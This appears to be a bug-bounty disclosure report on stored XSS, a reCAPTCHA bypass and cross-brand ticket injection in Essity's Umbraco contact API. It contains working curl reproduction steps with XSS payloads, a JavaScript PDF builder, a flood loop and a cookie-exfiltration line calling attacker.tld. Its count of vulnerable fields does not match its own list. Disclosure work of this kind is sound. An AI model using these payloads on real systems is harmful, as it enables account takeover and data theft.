Essity · Report #3729501
Pre-authentication Stored XSS in Essity Customer-Service Pipeline via ContactApi (reCAPTCHA bypass + no rate limit)
How it was found
Summary
The Essity customer contact API (ContactApi.SavePersonalContactExtended and SaveProductContactExtended) accepts unauthenticated ticket submissions with arbitrary HTML/JavaScript in 12+ fields, bypassing reCAPTCHA validation, CSRF protection, and rate limiting. When customer-service operators view these tickets in the Umbraco back-office, the stored XSS executes in their authenticated session, enabling account takeover, code execution, and cross-tenant attacks against sibling Essity brands.
Target Endpoints
POST https://████████/Umbraco/Api/ContactApi/SavePersonalContactExtended/POST https://████████/Umbraco/Api/ContactApi/SaveProductContactExtended/POST https://████████/Umbraco/Api/ContactApi/SaveAttachment
Reachable on all in-scope locale paths: /at, /bg, /cz, /de, /ee, /gr, /hr, /hu, /lt, /lv, /ro, /rs, /ru, /ua, and root https://zewa.net/.
Stacked Vulnerabilities
| # | Control | Status |
|---|---|---|
| 1 | reCAPTCHA v2 verification | Server accepts empty ReCaptcha= parameter; validation is client-side only |
| 2 | CSRF token | None present; endpoint accepts requests with zero cookies |
| 3 | Origin/Referer check | None; Access-Control-Allow-Origin: * permits cross-origin attacks |
| 4 | Input sanitization | None; <script>, <img onerror>, <svg onload>, javascript: URIs accepted in all text fields |
| 5 | Email validation | Broken; "<script>alert(1)</script>"@a.com accepted |
| 6 | Rate limiting | None; 8 tickets submitted in 2 seconds, all successful |
| 7 | SiteId authorization | Not enforced; any tenant ID accepted, enabling cross-brand attacks |
| 8 | Attachment authorization | Not enforced; unauthenticated uploads immediately referenceable in tickets |
Steps To Reproduce
Step 1: Stage malicious attachment (no authentication required)
# Create PDF with JavaScript payload
printf '%PDF-1.3\n1 0 obj\n<< /OpenAction << /JS (app.alert(1)) >> >>\nendobj\ntrailer << /Root 1 0 R >>\n%%EOF\n' > /tmp/jsx.pdf
curl -sk \
-H 'User-Agent: Mozilla/5.0' \
-H 'X-HackerOne-Research: matty69v' \
-e 'https://████████/de/kontakt/' \
-F 'file=@/tmp/jsx.pdf;type=application/pdf' \
'https://████████/Umbraco/Api/ContactApi/SaveAttachment'
Response:
["3ef49a63-e18f-40d2-94d6-5289c80f9efd_jsx.pdf"]
Step 2: Create malicious ticket with stored XSS payload
curl -sk \
-H 'User-Agent: Mozilla/5.0' \
-H 'X-HackerOne-Research: matty69v' \
-e 'https://████████/de/kontakt/' \
-X POST 'https://████████/Umbraco/Api/ContactApi/SavePersonalContactExtended/' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--data-urlencode 'SiteId=1896' \
--data-urlencode 'CultureId=1031' \
--data-urlencode 'ContactReason=Query' \
--data-urlencode 'Title=Mr' \
--data-urlencode 'FirstName=<img src=x onerror="alert(document.domain)">' \
--data-urlencode 'LastName=<svg/onload=alert(document.domain)>' \
--data-urlencode 'Email="<script>alert(1)</script>"@example.com' \
--data-urlencode 'CompareEmail="<script>alert(1)</script>"@example.com' \
--data-urlencode 'Address=<a href="javascript:alert(1)">Click</a>' \
--data-urlencode 'PostalCode=00000' \
--data-urlencode 'City=<iframe src=javascript:alert(1)>' \
--data-urlencode 'Country=DE' \
--data-urlencode 'Message=<script>alert("XSS in Message field")</script>' \
--data-urlencode 'ContactMethods[0]=Email' \
--data-urlencode 'Phone=<img src=x onerror=alert(1)>' \
--data-urlencode 'Question=<svg onload=alert(2)>' \
--data-urlencode 'ProductConcerned=<b>test</b>' \
--data-urlencode 'CoreCode=Z' \
--data-urlencode 'Store=<u>store</u>' \
--data-urlencode 'ReCaptcha=' \
--data-urlencode 'AttachmentFilename[0]=3ef49a63-e18f-40d2-94d6-5289c80f9efd_jsx.pdf' \
--data-urlencode "PageUrl=javascript:alert('pageurl')" \
--data-urlencode 'Referrer=https://example.com/' \
--data-urlencode 'SourceTags=<x>' \
--data-urlencode 'UserAgent=<x onerror=alert(ua)>' \
--data-urlencode 'ProvidedConsumerConsents[0][Id]=5' \
--data-urlencode 'ProvidedConsumerConsents[0][IsChecked]=true' \
--data-urlencode 'ProvidedConsumerConsents[0][IsNewsletter]=true'
Response:
{"success":true,"message":"","log":null,"redirect":false,"redirectUrl":null}
Step 3: Trigger execution
When a customer-service operator logs into the Umbraco back-office and opens the ticket for review, the JavaScript in any of the 12 injected fields executes in their authenticated session.
Step 4: Verify no rate limiting
Eight consecutive submissions with empty ReCaptcha= from a single IP, all within 2 seconds:
for i in {1..8}; do
curl -sk -X POST 'https://████████/Umbraco/Api/ContactApi/SavePersonalContactExtended/' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'X-HackerOne-Research: matty69v' \
--data-urlencode "FirstName=ratepoc-$i" \
--data-urlencode 'LastName=Test' \
--data-urlencode '[email protected]' \
--data-urlencode '[email protected]' \
--data-urlencode 'SiteId=1896' \
--data-urlencode 'CultureId=1031' \
--data-urlencode 'ContactReason=Query' \
--data-urlencode 'ReCaptcha='
done
All 8 requests returned {"success":true}.
Cross-Tenant Pivot
The SiteId parameter accepts any valid tenant ID without authorization checks. Testing confirmed tickets can be submitted to sibling Essity brands:
# Enumerate tenant IDs via CountryPicker IDOR
curl -sk 'https://████████/umbraco/Surface/CountryPickerSurface/CountryModal?siteId=1901'
Response reveals multiple brands:
https://████████https://www.████████https://www.████████https://www.████████https://www.████████https://www.████████
An attacker targeting only ████████ can inject XSS into the customer-service back-office of any sibling brand by changing the SiteId parameter.
Technical Details
Stack: ASP.NET Core MVC + Umbraco CMS (build hash 639140017071417623), Cloudflare CDN (no bot challenge on this path)
Why existing controls fail:
- reCAPTCHA token is collected client-side but never validated server-side
- Honeypot field
contact_me_by_fax_only=1is documented in public JS; bots already include it - Cloudflare is configured for CDN, not bot management; 30+ requests from one IP triggered no challenge
Vulnerable fields (12 total): FirstName, LastName, Email, CompareEmail, Address, City, Country, Message, Phone, Question, ProductConcerned, CoreCode, Store, PageUrl, Referrer, SourceTags, UserAgent
Supporting Material/References
- PoC scripts demonstrating the full attack chain
- Evidence of 8/8 successful submissions bypassing reCAPTCHA
- Cross-tenant SiteId enumeration results
- Malicious PDF upload bypassing file validation
Impact
Back-Office Account Takeover
When an operator opens a malicious ticket in the Umbraco back-office, the stored XSS executes with their privileges (typically Editor, Writer, Translator, or Administrator roles). The attacker can:
- Exfiltrate session credentials: Steal cookies, anti-XSRF tokens via
fetch('https://attacker.tld/?c='+document.cookie) - Create administrator accounts: Call
/umbraco/management/api/v1/...or/umbraco/backoffice/UmbracoApi/...endpoints in the operator's context - Install malicious packages: Upload and execute Umbraco packages containing server-side code, achieving RCE on the CMS host serving 14+ brand sites
- Modify content: Alter published pages, member data, or site configuration
The operator dependency is not a meaningful barrier—reviewing inbound customer messages is the operator's primary job function, guaranteeing payload execution.
Mass Ticket Injection from Any Browser
Access-Control-Allow-Origin: * combined with no cookie requirement enables drive-by attacks:
- Malicious ad or compromised page can submit tickets from every visitor's browser
- Attacker's IP is invisible (requests originate from legitimate visitors)
- No rate limiting allows flooding the ticket queue in minutes
Phishing Pipeline to Internal Staff
The attachment chain delivers attacker-controlled files into the operator's workflow:
- Malicious PDFs with JavaScript
OpenActionexecute when opened in Acrobat - Office documents with macros run code on internal workstations
- ZIP archives containing LNK/EXE payloads for lateral movement
File validation checks magic bytes for images but accepts PDF/DOCX/ZIP by extension only, confirmed with PoC PDF containing app.alert(1).
Cross-Brand Attack Surface
A single attacker targeting ████████ can inject XSS into customer-service systems for multiple Essity brands (Lotus, Cushelle, Colhogar, Edet, papelregio) by manipulating the SiteId parameter. This creates:
- Operational disruption across multiple brand support teams
- Reputational damage spanning the entire Essity portfolio
- Investigation complexity when malicious tickets appear to originate from legitimate brand domains
GDPR Article 32 Breach
Marketing consent flags (ProvidedConsumerConsents[i][IsChecked]) are accepted server-side with no verification. Attackers can:
- Create subscriptions in victims' names without consent
- Prevent Essity from demonstrating valid consent under Article 7
- Trigger data protection liability for every persisted fake subscription
Severity Justification
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L → 9.0 Critical
- Attack Vector: Network - Remotely exploitable from any internet connection
- Attack Complexity: Low - No special preparation beyond standard HTTP requests
- Privileges Required: None - Completely unauthenticated
- User Interaction: Required - Operator must open the ticket (guaranteed by job function)
- Scope: Changed - XSS executes in privileged back-office context, different from anonymous submission context
- Confidentiality: High - Access to operator session, customer PII, internal CRM data
- Integrity: High - Ability to modify CMS content, create accounts, install code
- Availability: Low - Ticket flood can disrupt support operations but not destroy the platform